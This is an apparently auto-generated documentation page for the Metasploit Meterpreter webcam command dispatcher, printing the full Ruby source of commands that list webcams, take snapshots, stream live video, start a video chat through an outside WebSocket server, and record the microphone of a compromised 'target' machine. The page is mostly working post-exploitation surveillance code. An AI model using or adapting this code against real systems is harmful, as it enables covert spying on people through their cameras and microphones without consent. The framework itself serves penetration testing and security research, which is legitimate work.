Class: Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Stdapi::Webcam

Inherits:
Object
  • Object
show all
Includes:
Rex::Post::Meterpreter::Ui::Console::CommandDispatcher
Defined in:
lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb

Overview

Webcam - Capture video from the remote system

Constant Summary collapse

Klass =
Console::CommandDispatcher::Stdapi::Webcam

Instance Attribute Summary

Attributes included from Ui::Text::DispatcherShell::CommandDispatcher

#shell, #tab_complete_items

Instance Method Summary collapse

Methods included from Rex::Post::Meterpreter::Ui::Console::CommandDispatcher

check_hash, #client, #initialize, #log_error, #msf_loaded?, set_hash

Methods included from Ui::Text::DispatcherShell::CommandDispatcher

#cmd_help, #cmd_help_help, #cmd_help_tabs, #deprecated_cmd, #deprecated_commands, #deprecated_help, #help_to_s, #initialize, #print, #print_error, #print_good, #print_line, #print_status, #print_warning, #tab_complete_filenames, #update_prompt

Instance Method Details

#cmd_record_mic(*args) ⇒ Object



292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb', line 292

def cmd_record_mic(*args)
  path = Rex::Text.rand_text_alpha(8) + ".wav"
  play = true
  duration = 1

  record_mic_opts = Rex::Parser::Arguments.new(
    "-h" => [ false, "Help Banner" ],
    "-d" => [ true, "Number of seconds to record (Default: 1)" ],
    "-f" => [ true, "The wav file path (Default: '#{::File.expand_path('[randomname].wav')}')" ],
    "-p" => [ true, "Automatically play the captured audio (Default: '#{play}')" ]
  )

  record_mic_opts.parse(args) do |opt, _idx, val|
    case opt
    when "-h"
      print_line("Usage: record_mic [options]\n")
      print_line("Records audio from the default microphone.")
      print_line(record_mic_opts.usage)
      return
    when "-d"
      duration = val.to_i
    when "-f"
      path = val
    when "-p"
      play = false if val =~ /^(f|n|0)/i
    end
  end

  print_status("Starting...")
  data = client.webcam.record_mic(duration)
  print_status("Stopped")

  if data
    ::File.open(path, 'wb') do |fd|
      fd.write(data)
    end
    path = ::File.expand_path(path)
    print_line("Audio saved to: #{path}")
    Rex::Compat.play_sound(path) if play
  end
  true
end

#cmd_webcam_chat(*args) ⇒ Object



128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb', line 128

def cmd_webcam_chat(*args)
  if client.webcam.webcam_list.length == 0
    print_error("Target does not have a webcam")
    return
  end

  server = 'wsnodejs.jit.su:80'

  webcam_chat_opts = Rex::Parser::Arguments.new(
    "-h" => [ false, "Help banner"],
    "-s" => [ false, "WebSocket server" ]
  )

  webcam_chat_opts.parse(args) do |opt, _idx, val|
    case opt
    when "-h"
      print_line("Usage: webcam_chat [options]\n")
      print_line("Starts a video conversation with your target.")
      print_line("Browser Requirements:")
      print_line("Chrome: version 23 or newer")
      print_line("Firefox: version 22 or newer")
      print_line(webcam_chat_opts.usage)
      return
    when "-s"
      server = val.to_s
    end
  end

  begin
    print_status("Webcam chat session initialized.")
    client.webcam.webcam_chat(server)
  rescue RuntimeError => e
    print_error(e.message)
  end
end

#cmd_webcam_listObject



58
59
60
61
62
63
64
65
66
67
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb', line 58

def cmd_webcam_list
  if client.webcam.webcam_list.length == 0
    print_error("No webcams were found")
    return
  end

  client.webcam.webcam_list.each_with_index do |name, indx|
    print_line("#{indx + 1}: #{name}")
  end
end

#cmd_webcam_snap(*args) ⇒ Object



69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb', line 69

def cmd_webcam_snap(*args)
  if client.webcam.webcam_list.length == 0
    print_error("Target does not have a webcam")
    return
  end

  path    = Rex::Text.rand_text_alpha(8) + ".jpeg"
  quality = 50
  view    = true
  index   = 1

  webcam_snap_opts = Rex::Parser::Arguments.new(
    "-h" => [ false, "Help Banner" ],
    "-i" => [ true, "The index of the webcam to use (Default: 1)" ],
    "-q" => [ true, "The JPEG image quality (Default: '#{quality}')" ],
    "-p" => [ true, "The JPEG image path (Default: '#{path}')" ],
    "-v" => [ true, "Automatically view the JPEG image (Default: '#{view}')" ]
  )

  webcam_snap_opts.parse(args) do |opt, _idx, val|
    case opt
    when "-h"
      print_line("Usage: webcam_snap [options]\n")
      print_line("Grab a frame from the specified webcam.")
      print_line(webcam_snap_opts.usage)
      return
    when "-i"
      index = val.to_i
    when "-q"
      quality = val.to_i
    when "-p"
      path = val
    when "-v"
      view = false if val =~ /^(f|n|0)/i
    end
  end

  begin
    print_status("Starting...")
    client.webcam.webcam_start(index)
    webcam_started = true
    data = client.webcam.webcam_get_frame(quality)
    print_good("Got frame")
  ensure
    client.webcam.webcam_stop if webcam_started
    print_status("Stopped")
  end

  if data
    ::File.open(path, 'wb') do |fd|
      fd.write(data)
    end
    path = ::File.expand_path(path)
    print_line("Webcam shot saved to: #{path}")
    Rex::Compat.open_file(path) if view
  end
  true
end

#cmd_webcam_stream(*args) ⇒ Object



164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb', line 164

def cmd_webcam_stream(*args)
  if client.webcam.webcam_list.length == 0
    print_error("Target does not have a webcam")
    return
  end

  print_status("Starting...")
  stream_path = Rex::Text.rand_text_alpha(8) + ".jpeg"
  player_path = Rex::Text.rand_text_alpha(8) + ".html"
  duration = 1800
  quality  = 50
  view     = true
  index    = 1

  webcam_snap_opts = Rex::Parser::Arguments.new(
    "-h" => [ false, "Help Banner" ],
    "-d" => [ true, "The stream duration in seconds (Default: 1800)" ], # 30 min
    "-i" => [ true, "The index of the webcam to use (Default: 1)" ],
    "-q" => [ true, "The stream quality (Default: '#{quality}')" ],
    "-s" => [ true, "The stream file path (Default: '#{stream_path}')" ],
    "-t" => [ true, "The stream player path (Default: #{player_path})"],
    "-v" => [ true, "Automatically view the stream (Default: '#{view}')" ]
  )

  webcam_snap_opts.parse(args) do |opt, _idx, val|
    case opt
    when "-h"
      print_line("Usage: webcam_stream [options]\n")
      print_line("Stream from the specified webcam.")
      print_line(webcam_snap_opts.usage)
      return
    when "-d"
      duration = val.to_i
    when "-i"
      index = val.to_i
    when "-q"
      quality = val.to_i
    when "-s"
      stream_path = val
    when "-t"
      player_path = val
    when "-v"
      view = false if val =~ /^(f|n|0)/i
    end
  end

  print_status("Preparing player...")
  html = %|<html>
<head>
<META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
<META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
<title>Metasploit webcam_stream - #{client.sock.peerhost}</title>
<script language="javascript">
function updateStatus(msg) {
var status = document.getElementById("status");
status.innerText = msg;
}

function noImage() {
document.getElementById("streamer").style = "display:none";
updateStatus("Waiting");
}

var i = 0;
function updateFrame() {
var img = document.getElementById("streamer");
img.src = "#{stream_path}#" + i;
img.style = "display:";
updateStatus("Playing");
i++;
}

setInterval(function() {
updateFrame();
},25);

</script>
</head>
<body>
<noscript>
<h2><font color="red">Error: You need Javascript enabled to watch the stream.</font></h2>
</noscript>
<pre>
Target IP  : #{client.sock.peerhost}
Start time : #{Time.now}
Status     : <span id="status"></span>
</pre>
<br>
<img onerror="noImage()" id="streamer">
<br><br>
<a href="http://www.metasploit.com" target="_blank">www.metasploit.com</a>
</body>
</html>
  |

  ::File.open(player_path, 'wb') do |f|
    f.write(html)
  end
  if view
    print_status("Opening player at: #{player_path}")
    Rex::Compat.open_file(player_path)
  else
    print_status("Please open the player manually with a browser: #{player_path}")
  end

  print_status("Streaming...")
  begin
    client.webcam.webcam_start(index)
    webcam_started = true
    ::Timeout.timeout(duration) do
      while client do
        data = client.webcam.webcam_get_frame(quality)
        if data
          ::File.open(stream_path, 'wb') do |f|
            f.write(data)
          end
          data = nil
        end
      end
    end
  rescue ::Timeout::Error
  ensure
    client.webcam.webcam_stop if webcam_started
  end

  print_status("Stopped")
end

#commandsObject

List of supported commands.



22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb', line 22

def commands
  all = {
    "webcam_chat"   => "Start a video chat",
    "webcam_list"   => "List webcams",
    "webcam_snap"   => "Take a snapshot from the specified webcam",
    "webcam_stream" => "Play a video stream from the specified webcam",
    "record_mic"    => "Record audio from the default microphone for X seconds"
  }
  reqs = {
    "webcam_chat"   => [ "webcam_list" ],
    "webcam_list"   => [ "webcam_list" ],
    "webcam_snap"   => [ "webcam_start", "webcam_get_frame", "webcam_stop" ],
    "webcam_stream" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ],
    "record_mic"    => [ "webcam_audio_record" ]
  }

  all.delete_if do |cmd, _desc|
    del = false
    reqs[cmd].each do |req|
      next if client.commands.include? req
      del = true
      break
    end
    del
  end

  all
end

#nameObject

Name for this dispatcher



54
55
56
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb', line 54

def name
  "Stdapi: Webcam"
end